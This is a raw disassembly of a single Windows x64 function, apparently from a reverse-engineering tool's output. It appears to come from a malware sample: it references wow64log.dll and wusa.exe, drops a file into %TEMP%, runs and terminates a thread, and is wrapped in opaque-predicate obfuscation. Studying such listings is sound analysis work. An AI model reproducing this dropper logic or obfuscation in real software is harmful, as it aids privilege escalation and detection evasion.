Function at 0x140003670
Capabilities:
Terminate thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp - 0x20], xmm6
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov byte [rbp - 0x29], dl
mov qword [rbp - 0x48], rcx
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400457d4], 0xa
setl cl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
movzx r8d, word [0x1400301a0]
movaps xmm0, xmmword [0x140030190]
movaps xmm1, xmmword [0x140030180]
movaps xmm2, xmmword [0x140030170]
movaps xmm3, xmmword [str.C:WindowsSystem32wow64log.dll]
movups xmm4, xmmword [0x1400301da]
movaps xmm5, xmmword [0x1400301d0]
movaps xmm6, xmmword [0x1400301c0]
movaps xmm7, xmmword [str.C:WindowsSysWOW64wusa.exe]
nop word cs:[rax + rax]
nop
mov eax, 0x50
call fcn.140014780
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.140014780
sub rsp, rax
mov r12, rsp
mov eax, 0x210
call fcn.140014780
sub rsp, rax
mov r14, rsp
mov eax, 0x210
call fcn.140014780
sub rsp, rax
mov rbx, rsp
mov eax, 0x210
call fcn.140014780
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call fcn.140014780
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.140014780
sub rsp, rax
mov rsi, rsp
mov word [r13 + 0x40], r8w
movaps xmmword [r13 + 0x30], xmm0
movaps xmmword [r13 + 0x20], xmm1
movaps xmmword [r13 + 0x10], xmm2
movaps xmmword [r13], xmm3
movups xmmword [r12 + 0x2a], xmm4
movaps xmmword [r12 + 0x20], xmm5
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12], xmm7
test cl, cl
je 0x140003710
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rbx
sub rsp, 0x20
call fcn.140010640
add rsp, 0x20
sub rsp, 0x20
xor ecx, ecx
mov edx, 2
call rax
add rsp, 0x20
mov dword [rbp - 0x5c], eax
sub rsp, 0x20
mov r8d, 0x208
mov rcx, r14
xor edx, edx
call fcn.140019970
add rsp, 0x20
sub rsp, 0x20
call fcn.14000c650
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.TEMP
mov rdx, r14
mov r8d, 0x104
call rax
add rsp, 0x20
sub rsp, 0x20
mov r8d, 0x208
mov r15, qword [rbp - 0x50]
mov rcx, r15
xor edx, edx
call fcn.140019970
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rsp, 0x10
mov qword [rsp + 0x20], rax
lea rdx, str._s_I64x_I64x
mov rcx, r15
mov r8, r14
mov r9, rax
call fcn.140006d70
add rsp, 0x10
mov r8d, 0x208
mov rbx, qword [rbp - 0x58]
mov rcx, rbx
xor edx, edx
call fcn.140019970
mov rcx, rbx
mov rdx, r15
call fcn.140020540
lea rdx, [0x140039970]
mov rcx, rbx
call fcn.1400204dc
add rsp, 0x20
sub rsp, 0x20
call fcn.14000d310
add rsp, 0x20
mov r8, rax
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x1400038e2
or cl, al
je 0x1400038e2
nop word cs:[rax + rax]
nop
jmp 0x1400038e0
sub rsp, 0x20
mov rcx, qword [rbp - 0x50]
xor edx, edx
call r8
add rsp, 0x20
test eax, eax
jne 0x14000390c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp eax, 0xb7
jne 0x140003937
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400457d4], 0xa
setl cl
test cl, al
jne 0x14000393f
xor cl, al
je 0x140003998
jmp 0x14000393f
xor r14d, r14d
jmp 0x140003e92
mov qword [rdi], 0
mov dword [rsi], 0
sub rsp, 0x20
lea rcx, section..data
mov edx, 0x45f8
mov r8, rdi
mov r9, rsi
call fcn.140005030
add rsp, 0x20
mov ecx, dword [0x1400457d0]
mov r8d, dword [0x1400457d4]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp r8d, 0xa
setl bl
test bl, cl
jne 0x1400039c9
xor bl, cl
jne 0x1400039c9
mov qword [rdi], 0
mov dword [rsi], 0
sub rsp, 0x20
lea rcx, section..data
mov edx, 0x45f8
mov r8, rdi
mov r9, rsi
call fcn.140005030
add rsp, 0x20
jmp 0x14000393f
test eax, eax
mov rbx, qword [rbp - 0x58]
je 0x140003a41
cmp byte [rbp - 0x29], 0
je 0x140003a48
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x40], rax
mov ecx, 0x4d8cfbbe
mov eax, 0x91879f9a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x91879f9a
je 0x140003a33
cmp ecx, 0xfee441ba
je 0x140003aad
cmp ecx, 0x4d8cfbbe
jne 0x140003a00
mov rcx, qword [rbp - 0x48]
cmp qword [rcx + 0x18], 7
mov ecx, 0xfee441ba
cmova ecx, eax
mov rdx, qword [rbp - 0x40]
jmp 0x140003a00
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rcx]
mov ecx, 0xfee441ba
jmp 0x140003a00
not edx
jmp 0x140003e68
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x40], rax
mov ecx, 0x4d8cfbbe
mov eax, 0x91879f9a
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x91879f9a
je 0x140003a9f
cmp ecx, 0xfee441ba
je 0x140003ab6
cmp ecx, 0x4d8cfbbe
jne 0x140003a70
mov rcx, qword [rbp - 0x48]
cmp qword [rcx + 0x18], 7
mov ecx, 0xfee441ba
cmova ecx, eax
mov rdx, qword [rbp - 0x40]
jmp 0x140003a70
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rcx]
mov ecx, 0xfee441ba
jmp 0x140003a70
lea rax, [0x140044604]
jmp 0x140003abd
lea rax, [0x140044608]
mov r15, qword [rdi]
mov ecx, dword [rax]
add rcx, r15
sub rsp, 0x20
call fcn.140020540
add rsp, 0x20
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne r8b
sete al
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, al
jne 0x140003b0b
or cl, r8b
jne 0x140003b95
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov eax, dword [rax + 0x2c0]
mov ecx, dword [0x140044600]
mov dword [r15 + rcx], eax
sub rsp, 0x20
mov ecx, 0x420
call fcn.1400204a8
add rsp, 0x20
mov r14, rax
mov qword [rax], r15
mov eax, dword [rsi]
mov dword [r14 + 8], eax
lea rcx, [r14 + 0xc]
sub rsp, 0x20
mov rdx, rbx
call fcn.140020540
add rsp, 0x20
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140003be5
or cl, al
je 0x140003be5
mov r15, qword [rdi]
mov rbx, qword [rbp - 0x58]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov eax, dword [rax + 0x2c0]
mov ecx, dword [0x140044600]
mov dword [r15 + rcx], eax
sub rsp, 0x20
mov ecx, 0x420
call fcn.1400204a8
add rsp, 0x20
mov qword [rax], r15
mov ecx, dword [rsi]
mov dword [rax + 8], ecx
lea rcx, [rax + 0xc]
sub rsp, 0x20
mov rdx, rbx
call fcn.140020540
add rsp, 0x20
jmp 0x140003b0b
sub rsp, 0x20
call fcn.14000d840
add rsp, 0x20
mov rdi, rax
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140003c32
or cl, al
je 0x140003c32
nop dword [rax]
jmp 0x140003c30
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140004cf0]
xor ecx, ecx
xor edx, edx
mov r9, r14
call rdi
add rsp, 0x30
mov qword [0x140045758], rax
test rax, rax
je 0x140003e42
sub rsp, 0x20
call fcn.14000dad0
add rsp, 0x20
mov rcx, qword [0x140045758]
sub rsp, 0x20
mov edx, 0xf
call rax
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x50]
call fcn.140005720
add rsp, 0x20
test eax, eax
je 0x140004122
mov eax, 1
xchg dword [0x140045760], eax
xor esi, esi
nop word cs:[rax + rax]
nop
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1400457d4], 0xa
setl cl
test cl, al
jne 0x140003cec
xor cl, al
je 0x140003e20
sub rsp, 0x20
call fcn.14000def0
add rsp, 0x20
mov rdx, rax
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1400457d4], 0xa
setl cl
test cl, al
jne 0x140003d28
xor cl, al
je 0x140003e30
sub rsp, 0x20
mov rcx, r13
call rdx
add rsp, 0x20
cmp eax, 0xffffffff
jne 0x140003d9c
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140003d72
or cl, al
jne 0x140003e40
sub rsp, 0x20
call fcn.14000ca00
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x3e8
call rax
add rsp, 0x20
lea eax, [rsi + 1]
cmp esi, 9
mov esi, eax
jb 0x140003cc0
sub rsp, 0x30
mov dword [rsp + 0x20], 0x1388
mov rcx, r12
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.140006290
add rsp, 0x30
test eax, eax
setne r14b
sub rsp, 0x20
call fcn.14000ca00
add rsp, 0x20
mov ecx, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete bl
setne r8b
cmp edx, 0xa
setl cl
cmp edx, 9
setg dl
cmp cl, bl
jne 0x140004162
or dl, r8b
je 0x140004162
nop dword [rax]
jmp 0x140003e10
jmp 0x140003e20
jmp 0x140003e30
jmp 0x140003e40
sub rsp, 0x20
mov rcx, r14
call fcn.140020494
add rsp, 0x20
mov eax, dword [0x1400457d0]
mov r8d, dword [0x1400457d4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
xor r14d, r14d
test edx, edx
sete dl
setne al
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
cmp bl, dl
jne 0x140003e92
or cl, al
je 0x140003e92
nop dword [rax]
jmp 0x140003e90
mov rcx, qword [0x140045758]
test rcx, rcx
je 0x140003ece
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add rsp, 0x20
mov rcx, qword [0x140045758]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov qword [0x140045758], 0
mov eax, dword [0x1400457d0]
mov ecx, dword [0x1400457d4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
jne 0x140003f12
or cl, al
je 0x140003f12
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x140003f10
mov esi, 0xa
nop word [rax + rax]
sub rsp, 0x20
call fcn.14000def0
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
call rax
add rsp, 0x20
cmp eax, 0xffffffff
sete al
add esi, 0xffffffff
sete cl
mov edx, dword [0x1400457d0]
mov ebx, dword [0x1400457d4]
lea edi, [rdx - 1]
imul edi, edx
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
setne r8b
sete r9b
cmp ebx, 9
setg dl
cmp ebx, 0xa
setl bl
xor bl, r9b
or dl, r8b
xor dl, 1
or dl, bl
test cl, al
jne 0x140004012
xor cl, al
jne 0x140004012
test dl, dl
je 0x140004000
sub rsp, 0x20
call fcn.14000e270
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
call rax
add rsp, 0x20
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400457d4], 0xa
setl cl
test cl, al
jne 0x140003fd8
xor cl, al
je 0x140004010
sub rsp, 0x20
call fcn.14000ca00
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x64
call rax
add rsp, 0x20
jmp 0x140003f20
jmp 0x140004000
jmp 0x140004010
test dl, dl
je 0x140004100
mov esi, 0xa
sub rsp, 0x20
call fcn.14000def0
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x50]
call rax
add rsp, 0x20
mov edx, dword [0x1400457d0]
mov edi, dword [0x1400457d4]
lea ecx, [rdx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete bl
cmp edi, 0xa
setl cl
test cl, bl
jne 0x140004069
xor cl, bl
je 0x140004110
cmp eax, 0xffffffff
sete bl
mov ecx, esi
neg ecx
and eax, ecx
cmp ecx, 0xffffffff
sete cl
cmp eax, 0xffffffff
je 0x1400041b2
xor cl, bl
jne 0x1400041b2
sub rsp, 0x20
call fcn.14000e600
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x50]
call rax
add rsp, 0x20
mov eax, dword [0x1400457d0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400457d4], 0xa
setl cl
test cl, al
jne 0x1400040d0
xor cl, al
je 0x140004120
sub rsp, 0x20
call fcn.14000ca00
add rsp, 0x20
add esi, 0xffffffff
sub rsp, 0x20
mov ecx, 0x64
call rax
add rsp, 0x20
jmp 0x14000401f
jmp 0x140004100
jmp 0x140004110
jmp 0x140004120
mov eax, dword [0x1400457d0]
mov r8d, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
sete al
cmp r8d, 0xa
setl cl
xor r14d, r14d
test cl, al
jne 0x140003e6b
xor cl, al
jne 0x140003e6b
nop dword [rax]
jmp 0x140004160
sub rsp, 0x20
mov ecx, 0xbb8
call rax
add rsp, 0x20
mov eax, dword [0x1400457d0]
mov r8d, dword [0x1400457d4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
not edx
sete al
cmp r8d, 0xa
setl cl
test cl, al
jne 0x140003e6b
xor cl, al
jne 0x140003e6b
nop dword [rax + rax]
jmp 0x1400041b0
mov esi, 0xa
lea eax, [rdx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete al
cmp edi, 0xa
setl cl
test cl, al
jne 0x1400041da
xor cl, al
je 0x140004280
sub rsp, 0x20
call fcn.14000def0
add rsp, 0x20
mov rdx, rax
mov eax, dword [0x1400457d0]
mov ecx, dword [0x1400457d4]
lea ebx, [rax - 1]
imul ebx, eax
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete bl
setne r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
cmp al, bl
jne 0x140004220
or cl, r8b
jne 0x140004290
sub rsp, 0x20
mov rcx, r13
call rdx
add rsp, 0x20
cmp eax, 0xffffffff
sete al
add esi, 0xffffffff
sete cl
test cl, al
jne 0x140004292
xor cl, al
jne 0x140004292
sub rsp, 0x20
mov rcx, r13
call fcn.140006560
add rsp, 0x20
sub rsp, 0x20
call fcn.14000ca00
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x64
call rax
add rsp, 0x20
mov edx, dword [0x1400457d0]
mov edi, dword [0x1400457d4]
jmp 0x1400041b7
jmp 0x140004280
jmp 0x140004290
mov eax, dword [0x1400457d0]
mov edx, dword [0x1400457d4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x1400042d2
or cl, al
je 0x1400042d2
nop word cs:[rax + rax]
jmp 0x1400042d0
cmp dword [rbp - 0x5c], 0
js 0x1400042ef
sub rsp, 0x20
call fcn.140010a80
add rsp, 0x20
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x48]
call fcn.140006ec0
add rsp, 0x20
mov eax, dword [0x140045780]
mov edx, dword [0x140045784]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0x779e7c1c
mov eax, 0xd53c2d3b
cmovne eax, ebx
cmp ecx, 0xffffffff
sete byte [rbp - 0x38]
mov edi, 0xd53c2d3b
cmovne ebx, eax
cmp edx, 0xa
setl byte [rbp - 0x40]
cmovge ebx, eax
mov eax, 0xf83b41ee
mov esi, 0xca40f1a3
cmp eax, 0xf83b41ed
jg 0x140004371
cmp eax, 0xca40f1a3
je 0x1400043a1
cmp eax, 0xd53c2d3b
jne 0x140004355
mov eax, 0xca40f1a3
jmp 0x140004355
cmp eax, 0x779e7c1c
je 0x1400043a5
cmp eax, 0xf83b41ee
jne 0x140004355
movzx ecx, byte [rbp - 0x38]
movzx eax, byte [rbp - 0x40]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd53c2d3b
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x140004355
mov eax, ebx
jmp 0x140004355
mov eax, r14d
movaps xmm6, xmmword [rbp - 0x20]
movaps xmm7, xmmword [rbp - 0x10]
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret